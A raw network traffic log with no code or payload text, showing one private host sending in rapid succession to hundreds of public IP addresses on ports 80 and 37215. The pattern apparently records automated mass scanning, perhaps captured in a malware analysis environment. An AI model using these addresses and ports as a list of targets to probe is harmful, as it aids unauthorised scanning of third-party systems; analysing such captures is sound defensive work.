Dec 3, 2024 22:11:44.820049047 CET	6883	80	192.168.2.23	207.213.163.37
Dec 3, 2024 22:11:44.820049047 CET	6883	80	192.168.2.23	122.201.217.0
Dec 3, 2024 22:11:44.820051908 CET	6883	80	192.168.2.23	170.46.244.22
Dec 3, 2024 22:11:44.820055962 CET	6883	80	192.168.2.23	142.60.240.138
Dec 3, 2024 22:11:44.820055962 CET	6883	80	192.168.2.23	159.163.198.152
Dec 3, 2024 22:11:44.820058107 CET	6883	80	192.168.2.23	8.237.79.231
Dec 3, 2024 22:11:44.820069075 CET	6883	80	192.168.2.23	2.168.90.232
Dec 3, 2024 22:11:44.820080042 CET	6883	80	192.168.2.23	145.182.239.249
Dec 3, 2024 22:11:44.820080042 CET	6883	80	192.168.2.23	205.88.0.157
Dec 3, 2024 22:11:44.820080042 CET	6883	80	192.168.2.23	201.28.246.157
Dec 3, 2024 22:11:44.820086002 CET	6883	80	192.168.2.23	34.26.120.249
Dec 3, 2024 22:11:44.820099115 CET	6883	80	192.168.2.23	109.82.103.33
Dec 3, 2024 22:11:44.820106030 CET	6883	80	192.168.2.23	131.150.67.11
Dec 3, 2024 22:11:44.820115089 CET	6883	80	192.168.2.23	132.133.243.94
Dec 3, 2024 22:11:44.820115089 CET	6883	80	192.168.2.23	206.23.179.172
Dec 3, 2024 22:11:44.820115089 CET	6883	80	192.168.2.23	72.225.93.133
Dec 3, 2024 22:11:44.820126057 CET	6883	80	192.168.2.23	9.226.159.123
Dec 3, 2024 22:11:44.820132017 CET	6883	80	192.168.2.23	223.237.215.206
Dec 3, 2024 22:11:44.820137978 CET	6883	80	192.168.2.23	115.74.11.49
Dec 3, 2024 22:11:44.820137978 CET	6883	80	192.168.2.23	130.49.50.150
Dec 3, 2024 22:11:44.820141077 CET	6883	80	192.168.2.23	25.164.131.75
Dec 3, 2024 22:11:44.820146084 CET	6883	80	192.168.2.23	43.85.131.97
Dec 3, 2024 22:11:44.820157051 CET	6883	80	192.168.2.23	150.186.191.173
Dec 3, 2024 22:11:44.820166111 CET	6883	80	192.168.2.23	50.35.46.148
Dec 3, 2024 22:11:44.820166111 CET	6883	80	192.168.2.23	126.2.254.85
Dec 3, 2024 22:11:44.820168972 CET	6883	80	192.168.2.23	98.108.98.102
Dec 3, 2024 22:11:44.820178986 CET	6883	80	192.168.2.23	100.196.249.132
Dec 3, 2024 22:11:44.820180893 CET	6883	80	192.168.2.23	136.9.188.113
Dec 3, 2024 22:11:44.820180893 CET	6883	80	192.168.2.23	202.126.196.250
Dec 3, 2024 22:11:44.820188046 CET	6883	80	192.168.2.23	58.174.12.139
Dec 3, 2024 22:11:44.820194006 CET	6883	80	192.168.2.23	70.41.212.124
Dec 3, 2024 22:11:44.820194006 CET	6883	80	192.168.2.23	161.137.48.184
Dec 3, 2024 22:11:44.820200920 CET	6883	80	192.168.2.23	8.125.207.242
Dec 3, 2024 22:11:44.820210934 CET	6883	80	192.168.2.23	112.175.105.132
Dec 3, 2024 22:11:44.820214033 CET	6883	80	192.168.2.23	205.224.235.25
Dec 3, 2024 22:11:44.820219994 CET	6883	80	192.168.2.23	41.0.46.51
Dec 3, 2024 22:11:44.820219994 CET	6883	80	192.168.2.23	144.11.48.9
Dec 3, 2024 22:11:44.820219994 CET	6883	80	192.168.2.23	200.206.192.192
Dec 3, 2024 22:11:44.820220947 CET	6883	80	192.168.2.23	45.69.210.102
Dec 3, 2024 22:11:44.820228100 CET	6883	80	192.168.2.23	205.43.237.224
Dec 3, 2024 22:11:44.820236921 CET	6883	80	192.168.2.23	130.145.200.209
Dec 3, 2024 22:11:44.820240021 CET	6883	80	192.168.2.23	44.218.24.90
Dec 3, 2024 22:11:44.820250034 CET	6883	80	192.168.2.23	209.247.124.105
Dec 3, 2024 22:11:44.820250988 CET	6883	80	192.168.2.23	68.51.94.247
Dec 3, 2024 22:11:44.820255995 CET	6883	80	192.168.2.23	166.26.228.214
Dec 3, 2024 22:11:44.820260048 CET	6883	80	192.168.2.23	197.85.117.219
Dec 3, 2024 22:11:44.820265055 CET	6883	80	192.168.2.23	27.25.3.57
Dec 3, 2024 22:11:44.820272923 CET	6883	80	192.168.2.23	116.141.17.210
Dec 3, 2024 22:11:44.820276022 CET	6883	80	192.168.2.23	189.157.226.246
Dec 3, 2024 22:11:44.820288897 CET	6883	80	192.168.2.23	54.238.141.53
Dec 3, 2024 22:11:44.820288897 CET	6883	80	192.168.2.23	39.193.228.171
Dec 3, 2024 22:11:44.820291042 CET	6883	80	192.168.2.23	12.178.51.30
Dec 3, 2024 22:11:44.820296049 CET	6883	80	192.168.2.23	102.99.3.229
Dec 3, 2024 22:11:44.820296049 CET	6883	80	192.168.2.23	93.32.77.147
Dec 3, 2024 22:11:44.820297003 CET	6883	80	192.168.2.23	57.150.136.173
Dec 3, 2024 22:11:44.820297003 CET	6883	80	192.168.2.23	24.218.40.201
Dec 3, 2024 22:11:44.820316076 CET	6883	80	192.168.2.23	13.238.55.43
Dec 3, 2024 22:11:44.820322990 CET	6883	80	192.168.2.23	150.233.143.18
Dec 3, 2024 22:11:44.820323944 CET	6883	80	192.168.2.23	148.154.99.99
Dec 3, 2024 22:11:44.820324898 CET	6883	80	192.168.2.23	31.130.201.69
Dec 3, 2024 22:11:44.820337057 CET	6883	80	192.168.2.23	221.80.116.26
Dec 3, 2024 22:11:44.820347071 CET	6883	80	192.168.2.23	112.213.203.41
Dec 3, 2024 22:11:44.820347071 CET	6883	80	192.168.2.23	209.219.182.149
Dec 3, 2024 22:11:44.820350885 CET	6883	80	192.168.2.23	203.34.159.165
Dec 3, 2024 22:11:44.820350885 CET	6883	80	192.168.2.23	13.20.120.223
Dec 3, 2024 22:11:44.820357084 CET	6883	80	192.168.2.23	207.219.78.251
Dec 3, 2024 22:11:44.820365906 CET	6883	80	192.168.2.23	40.72.163.167
Dec 3, 2024 22:11:44.820365906 CET	6883	80	192.168.2.23	98.155.195.25
Dec 3, 2024 22:11:44.820372105 CET	6883	80	192.168.2.23	164.183.150.53
Dec 3, 2024 22:11:44.820375919 CET	6883	80	192.168.2.23	59.90.254.74
Dec 3, 2024 22:11:44.820379019 CET	6883	80	192.168.2.23	174.254.249.150
Dec 3, 2024 22:11:44.820389032 CET	6883	80	192.168.2.23	107.76.66.212
Dec 3, 2024 22:11:44.820393085 CET	6883	80	192.168.2.23	89.203.190.35
Dec 3, 2024 22:11:44.820404053 CET	6883	80	192.168.2.23	70.196.75.64
Dec 3, 2024 22:11:44.820405006 CET	6883	80	192.168.2.23	194.98.186.61
Dec 3, 2024 22:11:44.820405006 CET	6883	80	192.168.2.23	154.239.201.142
Dec 3, 2024 22:11:44.820405006 CET	6883	80	192.168.2.23	191.48.254.131
Dec 3, 2024 22:11:44.820408106 CET	6883	80	192.168.2.23	152.73.128.231
Dec 3, 2024 22:11:44.820408106 CET	6883	80	192.168.2.23	36.119.59.44
Dec 3, 2024 22:11:44.820420027 CET	6883	80	192.168.2.23	212.117.77.56
Dec 3, 2024 22:11:44.820429087 CET	6883	80	192.168.2.23	58.106.96.97
Dec 3, 2024 22:11:44.820429087 CET	6883	80	192.168.2.23	205.253.135.94
Dec 3, 2024 22:11:44.820435047 CET	6883	80	192.168.2.23	92.216.145.78
Dec 3, 2024 22:11:44.820442915 CET	6883	80	192.168.2.23	142.204.78.156
Dec 3, 2024 22:11:44.820446014 CET	6883	80	192.168.2.23	119.190.238.86
Dec 3, 2024 22:11:44.820451021 CET	6883	80	192.168.2.23	208.226.91.61
Dec 3, 2024 22:11:44.820453882 CET	6883	80	192.168.2.23	44.172.210.193
Dec 3, 2024 22:11:44.820453882 CET	6883	80	192.168.2.23	218.2.156.18
Dec 3, 2024 22:11:44.820456982 CET	6883	80	192.168.2.23	53.41.246.137
Dec 3, 2024 22:11:44.820468903 CET	6883	80	192.168.2.23	27.242.120.158
Dec 3, 2024 22:11:44.820468903 CET	6883	80	192.168.2.23	200.73.210.241
Dec 3, 2024 22:11:44.820486069 CET	6883	80	192.168.2.23	209.100.115.163
Dec 3, 2024 22:11:44.820487022 CET	6883	80	192.168.2.23	141.28.14.136
Dec 3, 2024 22:11:44.820497990 CET	6883	80	192.168.2.23	172.53.44.28
Dec 3, 2024 22:11:44.820501089 CET	6883	80	192.168.2.23	128.101.50.190
Dec 3, 2024 22:11:44.820501089 CET	6883	80	192.168.2.23	217.112.1.65
Dec 3, 2024 22:11:44.820502996 CET	6883	80	192.168.2.23	173.52.228.77
Dec 3, 2024 22:11:44.820506096 CET	6883	80	192.168.2.23	38.213.151.209
Dec 3, 2024 22:11:44.820522070 CET	6883	80	192.168.2.23	149.124.11.98
Dec 3, 2024 22:11:44.820724964 CET	6883	80	192.168.2.23	203.48.14.35
Dec 3, 2024 22:11:44.840928078 CET	5603	37215	192.168.2.23	156.115.47.134
Dec 3, 2024 22:11:44.840928078 CET	5603	37215	192.168.2.23	156.233.226.34
Dec 3, 2024 22:11:44.840935946 CET	5603	37215	192.168.2.23	197.240.184.93
Dec 3, 2024 22:11:44.840935946 CET	5603	37215	192.168.2.23	197.108.204.54
Dec 3, 2024 22:11:44.840936899 CET	5603	37215	192.168.2.23	156.23.174.145
Dec 3, 2024 22:11:44.840945005 CET	5603	37215	192.168.2.23	41.29.226.109
Dec 3, 2024 22:11:44.840945959 CET	5603	37215	192.168.2.23	197.82.167.201
Dec 3, 2024 22:11:44.840954065 CET	5603	37215	192.168.2.23	197.55.236.48
Dec 3, 2024 22:11:44.840954065 CET	5603	37215	192.168.2.23	41.159.136.74
Dec 3, 2024 22:11:44.840962887 CET	5603	37215	192.168.2.23	156.101.53.152
Dec 3, 2024 22:11:44.840965986 CET	5603	37215	192.168.2.23	197.64.88.21
Dec 3, 2024 22:11:44.840974092 CET	5603	37215	192.168.2.23	197.63.225.241
Dec 3, 2024 22:11:44.840974092 CET	5603	37215	192.168.2.23	41.106.145.103
Dec 3, 2024 22:11:44.840986013 CET	5603	37215	192.168.2.23	41.164.92.216
Dec 3, 2024 22:11:44.840996981 CET	5603	37215	192.168.2.23	41.252.138.83
Dec 3, 2024 22:11:44.840996981 CET	5603	37215	192.168.2.23	156.146.140.195
Dec 3, 2024 22:11:44.841000080 CET	5603	37215	192.168.2.23	41.124.166.157
Dec 3, 2024 22:11:44.841005087 CET	5603	37215	192.168.2.23	41.178.131.105
Dec 3, 2024 22:11:44.841012955 CET	5603	37215	192.168.2.23	156.219.246.165
Dec 3, 2024 22:11:44.841026068 CET	5603	37215	192.168.2.23	197.12.97.94
Dec 3, 2024 22:11:44.841026068 CET	5603	37215	192.168.2.23	156.26.8.149
Dec 3, 2024 22:11:44.841043949 CET	5603	37215	192.168.2.23	197.128.98.148
Dec 3, 2024 22:11:44.841043949 CET	5603	37215	192.168.2.23	41.0.116.22
Dec 3, 2024 22:11:44.841043949 CET	5603	37215	192.168.2.23	41.27.88.181
Dec 3, 2024 22:11:44.841048002 CET	5603	37215	192.168.2.23	197.220.233.195
Dec 3, 2024 22:11:44.841051102 CET	5603	37215	192.168.2.23	41.153.141.25
Dec 3, 2024 22:11:44.841058969 CET	5603	37215	192.168.2.23	197.170.139.95
Dec 3, 2024 22:11:44.841062069 CET	5603	37215	192.168.2.23	156.171.230.18
Dec 3, 2024 22:11:44.841063976 CET	5603	37215	192.168.2.23	197.82.19.155
Dec 3, 2024 22:11:44.841078043 CET	5603	37215	192.168.2.23	41.240.80.26
Dec 3, 2024 22:11:44.841084003 CET	5603	37215	192.168.2.23	156.155.247.217
Dec 3, 2024 22:11:44.841084003 CET	5603	37215	192.168.2.23	41.124.91.206
Dec 3, 2024 22:11:44.841109037 CET	5603	37215	192.168.2.23	41.139.112.129
Dec 3, 2024 22:11:44.841111898 CET	5603	37215	192.168.2.23	197.3.54.186
Dec 3, 2024 22:11:44.841124058 CET	5603	37215	192.168.2.23	197.237.108.134
Dec 3, 2024 22:11:44.841125011 CET	5603	37215	192.168.2.23	197.228.170.201
Dec 3, 2024 22:11:44.841125011 CET	5603	37215	192.168.2.23	156.184.134.27
Dec 3, 2024 22:11:44.841134071 CET	5603	37215	192.168.2.23	41.11.17.181
Dec 3, 2024 22:11:44.841136932 CET	5603	37215	192.168.2.23	41.34.144.246
Dec 3, 2024 22:11:44.841145992 CET	5603	37215	192.168.2.23	41.71.165.107
Dec 3, 2024 22:11:44.841150045 CET	5603	37215	192.168.2.23	41.250.4.74
Dec 3, 2024 22:11:44.841150999 CET	5603	37215	192.168.2.23	41.99.62.141
Dec 3, 2024 22:11:44.841161013 CET	5603	37215	192.168.2.23	41.231.221.7
Dec 3, 2024 22:11:44.841167927 CET	5603	37215	192.168.2.23	156.227.110.140
Dec 3, 2024 22:11:44.841167927 CET	5603	37215	192.168.2.23	156.164.139.209
Dec 3, 2024 22:11:44.841170073 CET	5603	37215	192.168.2.23	41.99.125.120
Dec 3, 2024 22:11:44.841180086 CET	5603	37215	192.168.2.23	156.64.253.110
Dec 3, 2024 22:11:44.841180086 CET	5603	37215	192.168.2.23	197.254.94.207
Dec 3, 2024 22:11:44.841188908 CET	5603	37215	192.168.2.23	156.204.133.251
Dec 3, 2024 22:11:44.841197014 CET	5603	37215	192.168.2.23	41.105.164.153
Dec 3, 2024 22:11:44.841201067 CET	5603	37215	192.168.2.23	197.140.168.88
Dec 3, 2024 22:11:44.841201067 CET	5603	37215	192.168.2.23	197.182.44.213
Dec 3, 2024 22:11:44.841213942 CET	5603	37215	192.168.2.23	41.110.187.92
Dec 3, 2024 22:11:44.841226101 CET	5603	37215	192.168.2.23	156.178.157.224
Dec 3, 2024 22:11:44.841228008 CET	5603	37215	192.168.2.23	41.33.65.109
Dec 3, 2024 22:11:44.841232061 CET	5603	37215	192.168.2.23	41.1.190.118
Dec 3, 2024 22:11:44.841232061 CET	5603	37215	192.168.2.23	197.20.172.72
Dec 3, 2024 22:11:44.841234922 CET	5603	37215	192.168.2.23	156.116.204.94
Dec 3, 2024 22:11:44.841242075 CET	5603	37215	192.168.2.23	197.217.8.29
Dec 3, 2024 22:11:44.841248035 CET	5603	37215	192.168.2.23	197.30.40.57
Dec 3, 2024 22:11:44.841255903 CET	5603	37215	192.168.2.23	197.238.101.52
Dec 3, 2024 22:11:44.841255903 CET	5603	37215	192.168.2.23	41.99.47.186
Dec 3, 2024 22:11:44.841267109 CET	5603	37215	192.168.2.23	197.38.252.112
Dec 3, 2024 22:11:44.841274977 CET	5603	37215	192.168.2.23	41.47.160.181
Dec 3, 2024 22:11:44.841275930 CET	5603	37215	192.168.2.23	197.151.244.13
Dec 3, 2024 22:11:44.841276884 CET	5603	37215	192.168.2.23	41.24.13.59
Dec 3, 2024 22:11:44.841276884 CET	5603	37215	192.168.2.23	197.192.252.115
Dec 3, 2024 22:11:44.841289043 CET	5603	37215	192.168.2.23	197.129.56.3
Dec 3, 2024 22:11:44.841303110 CET	5603	37215	192.168.2.23	41.71.29.104
Dec 3, 2024 22:11:44.841306925 CET	5603	37215	192.168.2.23	197.145.29.108
Dec 3, 2024 22:11:44.841314077 CET	5603	37215	192.168.2.23	156.118.109.184
Dec 3, 2024 22:11:44.841322899 CET	5603	37215	192.168.2.23	156.234.3.209
Dec 3, 2024 22:11:44.841325045 CET	5603	37215	192.168.2.23	197.9.226.255
Dec 3, 2024 22:11:44.841329098 CET	5603	37215	192.168.2.23	197.154.98.237
Dec 3, 2024 22:11:44.841335058 CET	5603	37215	192.168.2.23	197.21.125.66
Dec 3, 2024 22:11:44.841341972 CET	5603	37215	192.168.2.23	41.105.95.234
Dec 3, 2024 22:11:44.841342926 CET	5603	37215	192.168.2.23	41.136.172.87
Dec 3, 2024 22:11:44.841350079 CET	5603	37215	192.168.2.23	197.196.124.209
Dec 3, 2024 22:11:44.841350079 CET	5603	37215	192.168.2.23	156.186.25.205
Dec 3, 2024 22:11:44.841371059 CET	5603	37215	192.168.2.23	156.235.98.55
Dec 3, 2024 22:11:44.841375113 CET	5603	37215	192.168.2.23	197.89.10.17
Dec 3, 2024 22:11:44.841376066 CET	5603	37215	192.168.2.23	197.155.115.138
Dec 3, 2024 22:11:44.841377020 CET	5603	37215	192.168.2.23	156.33.226.65
Dec 3, 2024 22:11:44.841391087 CET	5603	37215	192.168.2.23	156.23.169.91
Dec 3, 2024 22:11:44.841398001 CET	5603	37215	192.168.2.23	156.60.44.207
Dec 3, 2024 22:11:44.841401100 CET	5603	37215	192.168.2.23	156.161.237.188
Dec 3, 2024 22:11:44.841407061 CET	5603	37215	192.168.2.23	156.66.84.11
Dec 3, 2024 22:11:44.841415882 CET	5603	37215	192.168.2.23	156.252.220.250
Dec 3, 2024 22:11:44.841418982 CET	5603	37215	192.168.2.23	197.87.13.86
Dec 3, 2024 22:11:44.841418982 CET	5603	37215	192.168.2.23	41.106.111.22
Dec 3, 2024 22:11:44.841432095 CET	5603	37215	192.168.2.23	156.226.97.193
Dec 3, 2024 22:11:44.841434002 CET	5603	37215	192.168.2.23	197.102.202.178
Dec 3, 2024 22:11:44.841434002 CET	5603	37215	192.168.2.23	197.143.159.244
Dec 3, 2024 22:11:44.841434002 CET	5603	37215	192.168.2.23	41.192.21.75
Dec 3, 2024 22:11:44.841448069 CET	5603	37215	192.168.2.23	156.107.187.104
Dec 3, 2024 22:11:44.841459036 CET	5603	37215	192.168.2.23	156.123.96.17
Dec 3, 2024 22:11:44.841459036 CET	5603	37215	192.168.2.23	197.20.44.62
Dec 3, 2024 22:11:44.841471910 CET	5603	37215	192.168.2.23	41.223.140.116
Dec 3, 2024 22:11:44.841476917 CET	5603	37215	192.168.2.23	156.247.101.65
Dec 3, 2024 22:11:44.841490030 CET	5603	37215	192.168.2.23	41.150.88.203
Dec 3, 2024 22:11:44.841490984 CET	5603	37215	192.168.2.23	156.206.42.31
Dec 3, 2024 22:11:44.841491938 CET	5603	37215	192.168.2.23	156.59.186.23
Dec 3, 2024 22:11:44.841499090 CET	5603	37215	192.168.2.23	41.84.162.49
Dec 3, 2024 22:11:44.841500998 CET	5603	37215	192.168.2.23	156.94.229.43
Dec 3, 2024 22:11:44.841511011 CET	5603	37215	192.168.2.23	197.97.176.23
Dec 3, 2024 22:11:44.841511011 CET	5603	37215	192.168.2.23	41.40.101.201
Dec 3, 2024 22:11:44.841519117 CET	5603	37215	192.168.2.23	197.14.213.135
Dec 3, 2024 22:11:44.841526031 CET	5603	37215	192.168.2.23	197.254.155.142
Dec 3, 2024 22:11:44.841526985 CET	5603	37215	192.168.2.23	41.211.87.148
Dec 3, 2024 22:11:44.841533899 CET	5603	37215	192.168.2.23	41.204.91.222
Dec 3, 2024 22:11:44.841535091 CET	5603	37215	192.168.2.23	156.117.216.75
Dec 3, 2024 22:11:44.841536999 CET	5603	37215	192.168.2.23	197.185.14.126
Dec 3, 2024 22:11:44.841547012 CET	5603	37215	192.168.2.23	156.16.195.20
Dec 3, 2024 22:11:44.841552973 CET	5603	37215	192.168.2.23	197.51.55.167
Dec 3, 2024 22:11:44.841555119 CET	5603	37215	192.168.2.23	41.214.216.217
Dec 3, 2024 22:11:44.841555119 CET	5603	37215	192.168.2.23	197.118.195.194
Dec 3, 2024 22:11:44.841555119 CET	5603	37215	192.168.2.23	156.2.150.52
Dec 3, 2024 22:11:44.841567039 CET	5603	37215	192.168.2.23	41.148.2.13
Dec 3, 2024 22:11:44.841567039 CET	5603	37215	192.168.2.23	156.176.181.148
Dec 3, 2024 22:11:44.841579914 CET	5603	37215	192.168.2.23	197.79.221.243
Dec 3, 2024 22:11:44.841579914 CET	5603	37215	192.168.2.23	156.233.108.126
Dec 3, 2024 22:11:44.841587067 CET	5603	37215	192.168.2.23	156.65.3.118
Dec 3, 2024 22:11:44.841602087 CET	5603	37215	192.168.2.23	156.146.189.63
Dec 3, 2024 22:11:44.841603994 CET	5603	37215	192.168.2.23	41.186.151.156
Dec 3, 2024 22:11:44.841609001 CET	5603	37215	192.168.2.23	41.59.102.215
Dec 3, 2024 22:11:44.841612101 CET	5603	37215	192.168.2.23	156.47.217.111
Dec 3, 2024 22:11:44.841612101 CET	5603	37215	192.168.2.23	197.53.124.232
Dec 3, 2024 22:11:44.841614962 CET	5603	37215	192.168.2.23	41.186.186.173
Dec 3, 2024 22:11:44.841620922 CET	5603	37215	192.168.2.23	41.128.33.87
Dec 3, 2024 22:11:44.841628075 CET	5603	37215	192.168.2.23	197.14.170.136
Dec 3, 2024 22:11:44.841636896 CET	5603	37215	192.168.2.23	41.225.136.185
Dec 3, 2024 22:11:44.841639996 CET	5603	37215	192.168.2.23	41.64.168.72
Dec 3, 2024 22:11:44.841649055 CET	5603	37215	192.168.2.23	41.69.107.219
Dec 3, 2024 22:11:44.841650009 CET	5603	37215	192.168.2.23	156.73.147.248
Dec 3, 2024 22:11:44.841660023 CET	5603	37215	192.168.2.23	197.97.239.14
Dec 3, 2024 22:11:44.841669083 CET	5603	37215	192.168.2.23	197.177.100.215
Dec 3, 2024 22:11:44.841676950 CET	5603	37215	192.168.2.23	41.239.172.151
Dec 3, 2024 22:11:44.841679096 CET	5603	37215	192.168.2.23	41.89.187.89
Dec 3, 2024 22:11:44.841680050 CET	5603	37215	192.168.2.23	156.184.210.251
Dec 3, 2024 22:11:44.841684103 CET	5603	37215	192.168.2.23	156.5.165.190
Dec 3, 2024 22:11:44.841698885 CET	5603	37215	192.168.2.23	41.224.54.5
Dec 3, 2024 22:11:44.841702938 CET	5603	37215	192.168.2.23	41.233.46.20
Dec 3, 2024 22:11:44.841707945 CET	5603	37215	192.168.2.23	41.227.52.233
Dec 3, 2024 22:11:44.841717958 CET	5603	37215	192.168.2.23	156.190.43.93
Dec 3, 2024 22:11:44.841717958 CET	5603	37215	192.168.2.23	41.122.49.25
Dec 3, 2024 22:11:44.841731071 CET	5603	37215	192.168.2.23	197.170.148.16
Dec 3, 2024 22:11:44.841732979 CET	5603	37215	192.168.2.23	41.46.42.103
Dec 3, 2024 22:11:44.841736078 CET	5603	37215	192.168.2.23	197.3.118.156
Dec 3, 2024 22:11:44.841737032 CET	5603	37215	192.168.2.23	41.170.158.160
Dec 3, 2024 22:11:44.841751099 CET	5603	37215	192.168.2.23	156.138.97.195
Dec 3, 2024 22:11:44.841753960 CET	5603	37215	192.168.2.23	41.81.148.227
Dec 3, 2024 22:11:44.841758013 CET	5603	37215	192.168.2.23	156.51.202.83
Dec 3, 2024 22:11:44.841761112 CET	5603	37215	192.168.2.23	156.184.237.18
Dec 3, 2024 22:11:44.841768026 CET	5603	37215	192.168.2.23	41.5.68.203
Dec 3, 2024 22:11:44.841773033 CET	5603	37215	192.168.2.23	197.222.255.75
Dec 3, 2024 22:11:44.841780901 CET	5603	37215	192.168.2.23	156.73.210.244
Dec 3, 2024 22:11:44.841783047 CET	5603	37215	192.168.2.23	41.42.202.158
Dec 3, 2024 22:11:44.841787100 CET	5603	37215	192.168.2.23	197.0.233.245
Dec 3, 2024 22:11:44.841799974 CET	5603	37215	192.168.2.23	41.203.242.58
Dec 3, 2024 22:11:44.841803074 CET	5603	37215	192.168.2.23	197.133.89.70
Dec 3, 2024 22:11:44.841808081 CET	5603	37215	192.168.2.23	156.87.192.102
Dec 3, 2024 22:11:44.841808081 CET	5603	37215	192.168.2.23	197.31.132.68
Dec 3, 2024 22:11:44.841819048 CET	5603	37215	192.168.2.23	197.16.89.233
Dec 3, 2024 22:11:44.841829062 CET	5603	37215	192.168.2.23	41.180.232.204
Dec 3, 2024 22:11:44.841835976 CET	5603	37215	192.168.2.23	41.14.97.200
Dec 3, 2024 22:11:44.841835976 CET	5603	37215	192.168.2.23	41.52.115.14
Dec 3, 2024 22:11:44.841835976 CET	5603	37215	192.168.2.23	156.159.65.83
Dec 3, 2024 22:11:44.841842890 CET	5603	37215	192.168.2.23	197.164.70.135
Dec 3, 2024 22:11:44.841845989 CET	5603	37215	192.168.2.23	156.21.101.41
Dec 3, 2024 22:11:44.841857910 CET	5603	37215	192.168.2.23	41.99.137.6
Dec 3, 2024 22:11:44.841862917 CET	5603	37215	192.168.2.23	41.67.1.101
Dec 3, 2024 22:11:44.841862917 CET	5603	37215	192.168.2.23	156.78.11.14
Dec 3, 2024 22:11:44.841878891 CET	5603	37215	192.168.2.23	197.175.127.137
Dec 3, 2024 22:11:44.841882944 CET	5603	37215	192.168.2.23	156.89.231.64
Dec 3, 2024 22:11:44.841882944 CET	5603	37215	192.168.2.23	156.46.215.41
Dec 3, 2024 22:11:44.841893911 CET	5603	37215	192.168.2.23	156.135.88.39
Dec 3, 2024 22:11:44.841893911 CET	5603	37215	192.168.2.23	41.67.162.52
Dec 3, 2024 22:11:44.841895103 CET	5603	37215	192.168.2.23	156.164.97.36
Dec 3, 2024 22:11:44.841902018 CET	5603	37215	192.168.2.23	41.250.247.201
Dec 3, 2024 22:11:44.841917038 CET	5603	37215	192.168.2.23	41.112.2.240
Dec 3, 2024 22:11:44.841917038 CET	5603	37215	192.168.2.23	156.156.193.59
Dec 3, 2024 22:11:44.841921091 CET	5603	37215	192.168.2.23	41.221.55.195
Dec 3, 2024 22:11:44.841927052 CET	5603	37215	192.168.2.23	156.90.223.183
Dec 3, 2024 22:11:44.841938972 CET	5603	37215	192.168.2.23	156.60.163.75
Dec 3, 2024 22:11:44.841942072 CET	5603	37215	192.168.2.23	156.220.112.55
Dec 3, 2024 22:11:44.841942072 CET	5603	37215	192.168.2.23	41.223.27.235
Dec 3, 2024 22:11:44.841944933 CET	5603	37215	192.168.2.23	156.68.234.165
Dec 3, 2024 22:11:44.841959953 CET	5603	37215	192.168.2.23	156.242.76.59
Dec 3, 2024 22:11:44.841959953 CET	5603	37215	192.168.2.23	156.21.198.223
Dec 3, 2024 22:11:44.841967106 CET	5603	37215	192.168.2.23	156.145.10.226
Dec 3, 2024 22:11:44.841970921 CET	5603	37215	192.168.2.23	41.189.234.214
Dec 3, 2024 22:11:44.841986895 CET	5603	37215	192.168.2.23	156.123.27.80
Dec 3, 2024 22:11:44.841991901 CET	5603	37215	192.168.2.23	41.86.102.152
Dec 3, 2024 22:11:44.842000961 CET	5603	37215	192.168.2.23	156.170.134.251
Dec 3, 2024 22:11:44.842000961 CET	5603	37215	192.168.2.23	197.209.182.216
Dec 3, 2024 22:11:44.842000961 CET	5603	37215	192.168.2.23	197.82.128.225
Dec 3, 2024 22:11:44.842008114 CET	5603	37215	192.168.2.23	41.65.42.19
Dec 3, 2024 22:11:44.842014074 CET	5603	37215	192.168.2.23	41.46.42.30
Dec 3, 2024 22:11:44.842016935 CET	5603	37215	192.168.2.23	156.118.245.143
Dec 3, 2024 22:11:44.842020035 CET	5603	37215	192.168.2.23	156.224.143.196
Dec 3, 2024 22:11:44.842020035 CET	5603	37215	192.168.2.23	41.81.144.222
Dec 3, 2024 22:11:44.842020035 CET	5603	37215	192.168.2.23	41.45.9.224
Dec 3, 2024 22:11:44.842039108 CET	5603	37215	192.168.2.23	41.164.89.29
Dec 3, 2024 22:11:44.842042923 CET	5603	37215	192.168.2.23	197.68.19.187
Dec 3, 2024 22:11:44.842053890 CET	5603	37215	192.168.2.23	197.228.159.117
Dec 3, 2024 22:11:44.842053890 CET	5603	37215	192.168.2.23	156.58.204.182
Dec 3, 2024 22:11:44.842065096 CET	5603	37215	192.168.2.23	156.136.68.48
Dec 3, 2024 22:11:44.842071056 CET	5603	37215	192.168.2.23	156.45.73.137
Dec 3, 2024 22:11:44.842071056 CET	5603	37215	192.168.2.23	41.33.222.173
Dec 3, 2024 22:11:44.842075109 CET	5603	37215	192.168.2.23	197.108.13.2
Dec 3, 2024 22:11:44.842082024 CET	5603	37215	192.168.2.23	156.176.29.5
Dec 3, 2024 22:11:44.842083931 CET	5603	37215	192.168.2.23	156.245.20.115
Dec 3, 2024 22:11:44.842097998 CET	5603	37215	192.168.2.23	41.158.224.253
Dec 3, 2024 22:11:44.842097998 CET	5603	37215	192.168.2.23	197.199.9.91
Dec 3, 2024 22:11:44.842099905 CET	5603	37215	192.168.2.23	197.45.73.252
Dec 3, 2024 22:11:44.842103958 CET	5603	37215	192.168.2.23	197.173.111.4
Dec 3, 2024 22:11:44.842106104 CET	5603	37215	192.168.2.23	156.213.197.45
Dec 3, 2024 22:11:44.842108965 CET	5603	37215	192.168.2.23	156.117.128.173
Dec 3, 2024 22:11:44.842123032 CET	5603	37215	192.168.2.23	197.91.6.103
Dec 3, 2024 22:11:44.842134953 CET	5603	37215	192.168.2.23	41.51.100.63
Dec 3, 2024 22:11:44.842139959 CET	5603	37215	192.168.2.23	197.195.82.110
Dec 3, 2024 22:11:44.842139959 CET	5603	37215	192.168.2.23	41.221.58.35
Dec 3, 2024 22:11:44.842140913 CET	5603	37215	192.168.2.23	197.186.38.241
Dec 3, 2024 22:11:44.842144966 CET	5603	37215	192.168.2.23	197.28.169.31
Dec 3, 2024 22:11:44.842150927 CET	5603	37215	192.168.2.23	197.230.228.241
Dec 3, 2024 22:11:44.842154026 CET	5603	37215	192.168.2.23	156.204.111.19
Dec 3, 2024 22:11:44.842163086 CET	5603	37215	192.168.2.23	41.148.106.15
Dec 3, 2024 22:11:44.842164040 CET	5603	37215	192.168.2.23	156.172.217.191
Dec 3, 2024 22:11:44.842170954 CET	5603	37215	192.168.2.23	41.123.41.92
Dec 3, 2024 22:11:44.842175961 CET	5603	37215	192.168.2.23	41.86.154.166
Dec 3, 2024 22:11:44.842186928 CET	5603	37215	192.168.2.23	156.10.254.188
Dec 3, 2024 22:11:44.842186928 CET	5603	37215	192.168.2.23	197.143.230.149
Dec 3, 2024 22:11:44.842197895 CET	5603	37215	192.168.2.23	41.246.165.87
Dec 3, 2024 22:11:44.842199087 CET	5603	37215	192.168.2.23	156.131.170.125
Dec 3, 2024 22:11:44.842214108 CET	5603	37215	192.168.2.23	41.129.80.31
